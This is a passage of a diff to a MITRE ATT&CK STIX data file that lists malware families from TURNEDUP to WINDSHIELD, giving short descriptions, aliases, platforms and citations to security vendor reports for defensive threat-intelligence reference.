Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-05-14T19:15:24.180Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TURNEDUP", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "TURNEDUP" + ], + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)", + "id": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "external_references": [ + { + "external_id": "S0263", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0263" + }, + { + "source_name": "TYPEFRAME", + "description": "(Citation: US-CERT TYPEFRAME June 2018)" + }, + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TYPEFRAME", + "x_mitre_aliases": [ + "TYPEFRAME" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)", + "id": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "external_references": [ + { + "external_id": "S0011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0011" + }, + { + "source_name": "TrendMicro Taidoor", + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:14.900Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Taidoor", + "x_mitre_aliases": [ + "Taidoor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)", + "id": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "external_references": [ + { + "external_id": "S0004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0004" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:12.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TinyZBot", + "x_mitre_aliases": [ + "TinyZBot" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)", + "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "external_references": [ + { + "external_id": "S0266", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0266" + }, + { + "source_name": "TrickBot", + "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)" + }, + { + "source_name": "Totbrick", + "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)" + }, + { + "source_name": "TSPY_TRICKLOAD", + "description": "(Citation: Trend Micro Totbrick Oct 2016)" + }, + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Fidelis TrickBot Oct 2016", + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + }, + { + "source_name": "IBM TrickBot Nov 2016", + "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", + "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/" + }, + { + "source_name": "Trend Micro Totbrick Oct 2016", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + }, + { + "source_name": "TrendMicro Trickbot Feb 2019", + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + }, + { + "source_name": "Microsoft Totbrick Oct 2017", + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-24T19:15:06.150Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TrickBot", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "TrickBot", + "Totbrick", + "TSPY_TRICKLOAD" + ], + "x_mitre_contributors": [ + "Omkar Gudhate", + "FS-ISAC" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)", + "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "external_references": [ + { + "external_id": "S0094", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0094" + }, + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:00.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Trojan.Karagany", + "x_mitre_aliases": [ + "Trojan.Karagany" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)", + "id": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec", + "external_references": [ + { + "external_id": "S0001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0001" + }, + { + "source_name": "Ge 2011", + "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.", + "url": "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:11.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Trojan.Mebromi", + "x_mitre_aliases": [ + "Trojan.Mebromi" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "id": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "external_references": [ + { + "external_id": "S0178", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0178" + }, + { + "source_name": "Truvasys", + "description": "(Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)" + }, + { + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Truvasys", + "x_mitre_aliases": [ + "Truvasys" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Twitoor](https://attack.mitre.org/software/S0302) is an Android malware family that likely spreads by SMS or via malicious URLs. (Citation: ESET-Twitoor)", + "x_mitre_old_attack_id": "MOB-S0018", + "id": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c", + "external_references": [ + { + "external_id": "S0302", + "source_name": "mitre-mobile-attack", + "url": "https://attack.mitre.org/software/S0302" + }, + { + "source_name": "Twitoor", + "description": "(Citation: ESET-Twitoor)" + }, + { + "source_name": "ESET-Twitoor", + "description": "ESET. (2016, August 24). First Twitter-controlled Android botnet discovered. Retrieved December 22, 2016.", + "url": "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" + } + ], + "x_mitre_version": "1.2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-02-01T17:38:05.973Z", + "type": "malware", + "created": "2017-10-25T14:48:42.313Z", + "x_mitre_platforms": [ + "Android" + ], + "name": "Twitoor", + "x_mitre_aliases": [ + "Twitoor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)", + "id": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "external_references": [ + { + "external_id": "S0333", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0333" + }, + { + "source_name": "UBoatRAT", + "description": "(Citation: PaloAlto UBoatRAT Nov 2017)" + }, + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-19T15:10:04.189Z", + "type": "malware", + "created": "2019-01-29T19:09:26.355Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "UBoatRAT", + "x_mitre_aliases": [ + "UBoatRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)", + "id": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "external_references": [ + { + "external_id": "S0275", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0275" + }, + { + "source_name": "UPPERCUT", + "description": "(Citation: FireEye APT10 Sept 2018)" + }, + { + "source_name": "ANEL", + "description": "(Citation: FireEye APT10 Sept 2018)" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "UPPERCUT", + "x_mitre_aliases": [ + "UPPERCUT", + "ANEL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", + "id": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "external_references": [ + { + "external_id": "S0136", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0136" + }, + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:17.716Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "USBStealer", + "x_mitre_aliases": [ + "USBStealer", + "USB Stealer", + "Win32/USBStealer" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A Linux rootkit that provides backdoor access and hides from defenders.", + "id": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "external_references": [ + { + "external_id": "S0221", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0221" + }, + { + "source_name": "Umbreon", + "description": "(Citation: Umbreon Trend Micro)" + }, + { + "source_name": "Umbreon Trend Micro", + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Umbreon", + "x_mitre_aliases": [ + "Umbreon" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)", + "id": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "external_references": [ + { + "external_id": "S0130", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0130" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:15.020Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Unknown Logger", + "x_mitre_aliases": [ + "Unknown Logger" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "id": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "external_references": [ + { + "external_id": "S0022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0022" + }, + { + "source_name": "Uroburos", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:19.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Uroburos", + "x_mitre_aliases": [ + "Uroburos" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ursnif ](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif ](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)", + "id": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "external_references": [ + { + "external_id": "S0386", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0386" + }, + { + "source_name": "Ursnif ", + "description": "(Citation: NJCCIC Ursnif Sept 2016)" + }, + { + "source_name": "Gozi-ISFB", + "description": "(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)" + }, + { + "source_name": "PE_URSNIF", + "description": "(Citation: TrendMicro Ursnif Mar 2015)" + }, + { + "source_name": "Dreambot", + "description": "(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)" + }, + { + "source_name": "NJCCIC Ursnif Sept 2016", + "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.", + "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif" + }, + { + "source_name": "ProofPoint Ursnif Aug 2016", + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + }, + { + "source_name": "TrendMicro Ursnif Mar 2015", + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "source_name": "FireEye Ursnif Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-24T16:46:20.107Z", + "type": "malware", + "created": "2019-06-04T18:42:22.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Ursnif ", + "x_mitre_aliases": [ + "Ursnif ", + "Gozi-ISFB", + "PE_URSNIF", + "Dreambot" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)", + "id": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "external_references": [ + { + "external_id": "S0257", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0257" + }, + { + "source_name": "VERMIN", + "description": "(Citation: Unit 42 VERMIN Jan 2018)" + }, + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "VERMIN", + "x_mitre_aliases": [ + "VERMIN" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)", + "id": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "external_references": [ + { + "external_id": "S0207", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0207" + }, + { + "source_name": "Vasport", + "description": "(Citation: Symantec Vasport May 2012)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Vasport May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Vasport", + "x_mitre_aliases": [ + "Vasport" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)", + "id": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "external_references": [ + { + "external_id": "S0180", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0180" + }, + { + "source_name": "Volgmer", + "description": "(Citation: US-CERT Volgmer Nov 2017) (Citation: US-CERT Volgmer 2 Nov 2017) (Citation: Symantec Volgmer Aug 2014)" + }, + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volgmer", + "x_mitre_aliases": [ + "Volgmer" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WEBC2](https://attack.mitre.org/software/S0109) is a backdoor used by [APT1](https://attack.mitre.org/groups/G0006) to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)", + "id": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "external_references": [ + { + "external_id": "S0109", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0109" + }, + { + "source_name": "WEBC2", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T15:21:42.146Z", + "type": "malware", + "created": "2017-05-31T21:33:06.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WEBC2", + "x_mitre_aliases": [ + "WEBC2" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", + "id": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "external_references": [ + { + 